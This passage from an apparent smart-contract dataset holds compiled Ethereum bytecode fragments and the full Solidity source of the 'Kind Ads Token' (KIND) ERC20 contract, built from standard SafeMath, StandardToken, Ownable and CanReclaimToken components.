906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156112dc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b97868481518110151561132b57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611275565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161515156113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6113ff848484612b4d565b611498843361149385600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff16151515611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6115da33846115d585600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b6128cc565b6001905092915050565b6115ec611b2c565b1515611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff1615156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61182133612f8c565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611887611b2c565b15156118fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6119c2611b2c565b1515611a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611abb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c1b5780601f10611bf057610100808354040283529160200191611c1b565b820191906000526020600020905b815481529060010190602001808311611bfe57829003601f168201915b5050505050905090565b6000611c2f611b2c565b1515611ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611cad8383613115565b6001905092915050565b6000600160149054906101000a900460ff16151515611d3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611dd73384611dd285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b6001905092915050565b6000600160149054906101000a900460ff16151515611e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611e73338484612b4d565b6001905092915050565b6000611e87611b2c565b1515611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611f9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156121335761205a858281518110151561203357fe5b90602001906020020151858381518110151561204b57fe5b906020019060200201516132d4565b612093858281518110151561206b57fe5b9060200190602002015184868481518110151561208457fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156120b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561210757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612019565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006121fa611b2c565b151561226e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156122e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561237a5761236d838281518110151561230757fe5b9060200190602002015160066000868581518110151561232357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613593565b80806001019150506122ed565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006123d7611b2c565b151561244b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156125b7576125aa848281518110151561258357fe5b90602001906020020151848381518110151561259b57fe5b906020019060200201516132d4565b8080600101915050612569565b506001905092915050565b6125ca611b2c565b151561263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612707611b2c565b151561277b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156127f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561286d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156128c1576128b4848281518110151561288d57fe5b9060200190602002015184838151811015156128a557fe5b90602001906020020151613593565b8080600101915050612873565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612997576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612d3581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dca81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515612ef1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515612f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156131ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61320c81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326481600554612e7790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561339f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600081111515613417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61346981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134fe81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561365e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61372881600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137bd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a7230582086f6d22647019eb0609c10f22c3ade4fe574de5407dce48a1de637dfaf176ecd0029
{"success": true, "error": null, "results": {}}
8,310
0x4618519de4c304f3444ffa7f812dddc2971cc688
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev saveAprrove to fix the approve race condition * @param _spender The address which will spend the funds. * @param _currentValue The actual amount of tokens that the _spender can spend. * @param _value The amount of tokens to be spent. * * There is not a simple and most important, a backwards compatible way to fix the race condition issue on the approve function. * There is a large and unfinished discussion on the community https://github.com/ethereum/EIPs/issues/738 * about this issue and the "best" aproach is add a safeApprove function to validate the amount/value * and leave the approve function as is to complind the ERC-20 standard * */ function safeApprove(address _spender, uint256 _currentValue, uint256 _value) public returns (bool success) { if (allowed[msg.sender][_spender] == _currentValue) { return approve(_spender, _value); } return false; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a ` ` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } /** * @title Kind Ads Token * @dev ERC20 Kind Ads Token (KIND) * * KIND are displayed using 8 decimal places of precision * * 1 KIND is equal to: * ----------------------------- * | Units |KIND | * ----------------------------- * | 100000000 | 1 | * | 1 * 10**8 | 1 | * | 1e8 | 1 | * | 1e9 | 10 | * ----------------------------- * * All the initial KIND Tokens are assigned to the creator of this contract * */ contract KindAdsToken is StandardToken, Ownable, CanReclaimToken { string public name = "Kind Ads Token"; string public symbol = "KIND"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 61 * (10**6) * 10**8; /** * @dev Initialize the contract with the INITIAL_SUPPLY value and it assigns the amount to the contract creator address * * Trigger an Transfer event on token creation * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ function KindAdsToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806317ffc320146101e057806318160ddd1461022357806323b872dd1461024e5780632ff2e9dc146102d3578063313ce567146102fe578063661884631461032f57806370a08231146103945780638da5cb5b146103eb57806395d89b4114610442578063a9059cbb146104d2578063d73dd62314610537578063dd62ed3e1461059c578063f2fde38b14610613578063f650366214610656575b600080fd5b3480156100f757600080fd5b506101006106c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610763565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610855565b005b34801561022f57600080fd5b506102386109dc565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e6565b604051808215151515815260200191505060405180910390f35b3480156102df57600080fd5b506102e8610da0565b6040518082815260200191505060405180910390f35b34801561030a57600080fd5b50610313610da6565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033b57600080fd5b5061037a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b604051808215151515815260200191505060405180910390f35b3480156103a057600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104a565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b50610400611092565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044e57600080fd5b506104576110b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049757808201518184015260208101905061047c565b50505050905090810190601f1680156104c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104de57600080fd5b5061051d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611156565b604051808215151515815260200191505060405180910390f35b34801561054357600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611375565b604051808215151515815260200191505060405180910390f35b3480156105a857600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611571565b6040518082815260200191505060405180910390f35b34801561061f57600080fd5b50610654600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f8565b005b34801561066257600080fd5b506106ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611750565b604051808215151515815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561075b5780601f106107305761010080835404028352916020019161075b565b820191906000526020600020905b81548152906001019060200180831161073e57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561094e57600080fd5b505af1158015610962573d6000803e3d6000fd5b505050506040513d602081101561097857600080fd5b810190808051906020019092919050505090506109d8600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166117f39092919063ffffffff16565b5050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610afb57600080fd5b610b4c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118de90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673f